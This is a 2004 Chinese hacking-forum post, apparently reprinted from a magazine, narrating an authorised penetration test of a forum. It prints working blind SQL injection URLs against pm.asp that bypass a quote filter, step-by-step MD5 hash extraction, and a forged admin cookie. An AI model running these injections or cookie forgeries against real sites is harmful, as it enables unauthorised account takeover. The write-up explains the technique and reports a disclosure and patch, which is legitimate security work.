论坛: 黑客进阶 标题: 安全天使原创:记一次对20NT安全小组的渗透测试!本文作者:sniper 复制本贴地址    
作者: cck123 [cck123]    论坛用户   登录
本文作者:sniper
文章性质:原创
发布日期:2004-04-16
注:本文已在《黑客X档案》发表,转载请保留此信息。
============================================

  一天上网溜达的时候好友紫侠客叫我去帮他打理打理20NT的论坛,那段时间正好闲着没事,就答应了。注册后发现短信箱里有一封欢迎来到20NT,奖励我XX两银子的短信息(怎么平时没见有人送我点RMB啊...浪心在后面大怒道:给你银子花还在这里不老实,兄弟们给我上啊。)。可是那个短消息窗口总是不断的跳出来很让人有点想法,于是准备看看这个坛子的安全性。

  论坛最下面的信息显示这个论坛为DVBBS的,但是从论坛的文件名来看又不像(后来紫侠客告诉我这个论坛的名字是CPB),也许是自己修改了一下吧,不管他。先是找出了查看短信息时的URL,准备看看有没有注入漏洞;递交:

引用:

--------------------------------------------------------------------------------

/iisHelp/common/500-100.asp,行242

ADODB.Field 错误 '80020009'

BOF 或 EOF 中有一个是“真”,或者当前的记录已被删除,所需的操作要求一个当前的记录。

/20ntbbs/pm.asp/pm.asp,行0

--------------------------------------------------------------------------------



  经验告诉我,应该是存在注入漏洞的。再来尝试:

代码:

--------------------------------------------------------------------------------

http://www.vanboy.net/20ntbbs/pm.asp?mode=kai&q_id=x%20and%200<>(select%20count(*)%20from%20user)  

--------------------------------------------------------------------------------



  这次页面成功显示了,哈哈,很容易的得到了表名、列名等关键信息。查看管理团队的名单,还是拿浪心来开刀吧,浪心别打我哦。先确认一下ID:

代码:

--------------------------------------------------------------------------------

http://www.vanboy.net/20ntbbs/pm.asp?mode=kai&q_id=3xxxx%20and%20'浪心'=(select%20username%20from%20user%20where%20username='浪心')  

--------------------------------------------------------------------------------



  呵呵,这次好像出了点意外,返回信息为:

引用:

--------------------------------------------------------------------------------

Microsoft OLE DB Provider for ODBC Drivers 错误 '80040e14'

[Microsoft][ODBC Microsoft Access Driver] 语法错误 (操作符丢失) 在查询表达式 'q_id=4 and ''浪心''=(select username from user where username=''浪心'')' 中。

/20ntbbs/pm.asp,行0

--------------------------------------------------------------------------------



  我加进去的语句中包含的单引号'全被替换成了双引号",我想这就是论坛开发人员所犯的一个天真的错误吧,认为只要检查语句中是不是包含单引号,如果发现单引号就把他替换成为双引号就可以完全杜绝SQL注入攻击了。其实我们完全可以饶过他的这个限制继续进行子查询来得到密码。

  继续进行查询:

代码:

--------------------------------------------------------------------------------

http://www.vanboy.net/20ntbbs/pm.asp?mode=kai&q_id=3xxxx%20and%20exists%20(select%20u_id%20from%20user%20where%20u_id=1%20and%20asc(mid(username,1,1))=-16181)  

--------------------------------------------------------------------------------



  解释一下语句的意思,asc(mid(username,1,1))=xx中使用了二个SQL函数,其中ASC()是把括号中的内容转化成为ASC码,mid(username,1,1)的于是就是把一个内容分成几部分取出,格式为mid(列名,起始位,取出字符的长度),上面句子中的意思就是取出username列中第一位ASC码为-16181,-16181就是浪心的中文ID中的浪的ASC码值。递交上面的URL就不包含单引号了,我们仍然可以达到查询的目的。如果猜对了就会正常返回页面,递交上面的语句返回了正常的页面说明在user表中浪心的id为1,再继续猜密码:

代码:

--------------------------------------------------------------------------------

http://www.vanboy.net/20ntbbs/pm.asp?mode=kai&q_id=3xxxx%20and%20exists%20(select%20u_id%20from%20user%20where%20u_id=1%20and%20asc(mid(username,1,1))=-16181%20and%20asc(mid(password,1,1))>120)  

--------------------------------------------------------------------------------



  猜错了,再递交:

代码:

--------------------------------------------------------------------------------

http://www.vanboy.net/20ntbbs/pm.asp?mode=kai&q_id=3xxxx%20and%20exists%20(select%20u_id%20from%20user%20where%20u_id=1%20and%20asc(mid(username,1,1))=-16181%20and%20and%20asc(mid(password,1,1))=54)  

--------------------------------------------------------------------------------



  这次成功返回了页面,猜对了,接下来就是漫长的猜解过程,一共是16位经过MD5加密后的密码,在猜解过程中可以使用<、>、=来快速定位ASC码值。经过N次失败后终于猜解出密码为:6957b753780exxxx,在前面我们已经得到浪心的userid为1,现在就只需要进行COOKIE欺骗就可以以管理员的身份进入论坛的前台操作了。

  用IECookiesView找到名字为www.vanboy.net的COOKIE,进行编辑。把userid、password和username修改成以下内容:

引用:

--------------------------------------------------------------------------------

userid=1&password=6957b753780e548c&username=浪心

--------------------------------------------------------------------------------



  保存后,在IE里输入论坛的URL试试,呵呵,变成浪心了。发个贴纪念一下,就可以闪人了。如果想得到后台的管理密码,而进一步渗透,那还是一样,查询admin表中的username和password再进行破解就可以了。

  这次用简单的注入获得了CPB论坛的管理权限,虽然有一点麻烦,但是CPB论坛所设置的防范注入的措施对于一个熟悉SQL语句和注入的人根本不算什么难题。而CPB论坛也就因为这样,很多页面都存在注入缺陷,如:pm.asp、list.asp和topic.asp等等都存在这样的缺陷,我已经通知CPB的开发人员编写补丁程序,另外此次对20NT的论坛渗透测试是在获得准许的情况下进行的,而且已经修补好漏洞,请不要对其进行恶意攻击!



[此贴被 cck123(cck123) 在 04月17日00时51分 编辑过]

地主 发表时间: 04-04-17 00:45

论坛: 黑客进阶

20CN网络安全小组版权所有
Copyright © 2000-2010 20CN Security Group. All Rights Reserved.
论坛程序编写:NetDemon

粤ICP备05087286号